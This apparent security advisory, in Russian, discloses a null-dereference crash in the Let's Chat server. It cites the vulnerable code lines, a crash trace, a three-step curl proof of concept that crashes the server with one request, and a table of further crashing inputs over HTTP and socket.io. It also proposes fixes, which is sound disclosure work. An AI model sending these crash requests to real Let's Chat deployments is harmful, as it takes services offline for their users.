
Уведомление о безопасности: непроверенный поиск комнаты приводит к сбою сервера (Let's Chat)
Присвоенный идентификатор CVE: CVE-2026-66749
Один HTTP-запрос от любой учётной записи останавливает процесс сервера Let's Chat.
GET /messages принимает параметр room, ищет комнату по id и затем вызывает метод
для результата, не проверяя, что поиск что-то вернул. Отправьте id, который является допустимой
24-символьной шестнадцатеричной строкой, но не принадлежит ни одной комнате, и возникший TypeError будет выброшен
внутри колбэка Mongoose. Express перехватывает только исключения, возникающие синхронно внутри
обработчика, поэтому это исключение достигает Node как необработанное, и процесс завершается.
URL репозитория: https://github.com/sdelements/lets-chat
Уязвимость присутствует с версии 0.4.0 (коммит 84981a6, 21 февраля 2015 г., который ввёл вызов canJoin)
по 0.4.8, последний выпуск. Исправленной версии не существует.
Подтверждено на 0.4.8 в коммите 617207f и на docker.io/sdelements/lets-chat:latest
(0.4.7), который до сих пор можно публично скачать.
CWE-476: разыменование нулевого указателя (NULL Pointer Dereference), ведущее к CWE-248 «Необработанное исключение» (Uncaught Exception) и CWE-400 «Неконтролируемое потребление ресурсов» (Uncontrolled Resource Consumption).
Базовый балл CVSS 4.0: 7.1 (высокий)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Атакующему нужна одна обычная учётная запись пользователя и сетевой доступ к HTTP-порту. Ему не нужно владеть комнатой или состоять в ней, знать какой-либо существующий id комнаты или иметь повышенную роль.
Требование учётной записи слабое при установке по умолчанию, поскольку auth.local.enableRegistration по умолчанию имеет значение true в defaults.yml, поэтому любой, кто может открыть страницу входа, может создать учётную запись и выполнить запрос.
Ни Procfile (web: npm start), ни docker/docker-compose.yml не настраивают супервизор или политику перезапуска, поэтому в стандартном развёртывании один запрос останавливает сервис до тех пор, пока оператор не перезапустит его. Если оператор добавил наблюдение за процессом, атакующий может просто повторить запрос.
Маршрут не регистрирует промежуточное ПО для проверки комнаты. app/controllers/messages.js:25-32:
app.route('/messages')
.all(middlewares.requireLogin)
.get(function(req) {
req.io.route('messages:list');
})
.post(function(req) {
req.io.route('messages:create');
});
Сравните app/controllers/messages.js:34-41, где вариант с привязкой к комнате действительно добавляет middlewares.roomRoute, который находит комнату и возвращает 404, когда она не существует:
app.route('/rooms/:room/messages')
.all(middlewares.requireLogin, middlewares.roomRoute)
Таким образом, на /messages значение room достигает менеджера без проверки.
app/core/messages.js:118-129:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) { // line 129: room may be null
Model.findById вызывает колбэк с (null, null), когда id корректно приводится к типу, но не соответствует ни одному документу. Там нет защиты if (!room), поэтому строка 129 разыменовывает null.
Наблюдаемый вывод:
events.js:174
throw er; // Unhandled 'error' event
TypeError: Cannot read property 'canJoin' of null
at /usr/src/app/app/core/messages.js:129:14
at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)
Для стандартной установки на порту 5000 без изменений конфигурации:
BASE=http://localhost:5000
# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","email":"[email protected]",
"password":"Passw0rd!23","password-confirm":"Passw0rd!23",
"firstName":"M","lastName":"M","displayName":"M"}'
# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d '{"username":"mallory","password":"Passw0rd!23"}'
# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"
Шаг 3 возвращает пустое тело ответа, и curl завершается с кодом 52 (пустой ответ от сервера). Процесс сервера завершён. Подойдёт любой id из 24 шестнадцатеричных символов, не соответствующий ни одной комнате.
express.oi регистрирует каждый ключ app.io.route(...) как обычный обработчик socket.on(...) (initRoutes в node_modules/express.oi/lib/index.js). Поэтому аутентифицированный клиент socket.io может вызывать эти обработчики напрямую, минуя цепочку промежуточного ПО Express, включая roomRoute. Это также убирает try/catch Express, поэтому синхронное исключение, которое по HTTP было бы ошибкой 500, по socket.io завершает процесс.
Каждый из следующих случаев также завершает процесс. Все они подтверждены.
Добавьте проверки результатов поиска. В app/core/messages.js:118 и app/core/files.js:156:
Room.findById(options.room, function(err, room) {
if (err) {
console.error(err);
return cb(err);
}
if (!room) {
return cb(null, []);
}
...
app/core/rooms.js:234 требует той же обработки перед вызовом sanitizeRoom, а app/core/rooms.js:248 должен отклонять отсутствующий или нестроковый options.identifier.
Два изменения закрыли бы весь класс уязвимостей, а не только перечисленные случаи. Во-первых, приводите к нужному типу и проверяйте параметры запроса, которые предполагаются строками (expand, room, id, take, skip), на границе контроллера. Во-вторых, оберните диспетчеризацию обработчиков socket.io в try/catch и добавьте обработчик process.on('uncaughtException'), чтобы один некорректный запрос превращался в ответ с ошибкой, а не останавливал сервер.
| Доступно через | Входные данные | Место исключения |
|---|
| HTTP и socket.io | messages:list, room установлен в несуществующий id | app/core/messages.js:129 |
| HTTP и socket.io | files:list, room установлен в несуществующий id | app/core/files.js:167 |
| socket.io | rooms:get с несуществующим id или без id | app/core/rooms.js:213 через :234 |
| socket.io | rooms:users без комнаты | app/core/rooms.js:248 |
| socket.io | rooms:join без id | app/core/rooms.js:248 |
| socket.io | messages:list с expand в виде массива | app/core/messages.js:97 |
| socket.io | files:list с expand в виде массива | app/core/files.js:139 |
| socket.io | users:get с id в виде объекта | app/models/user.js:139 |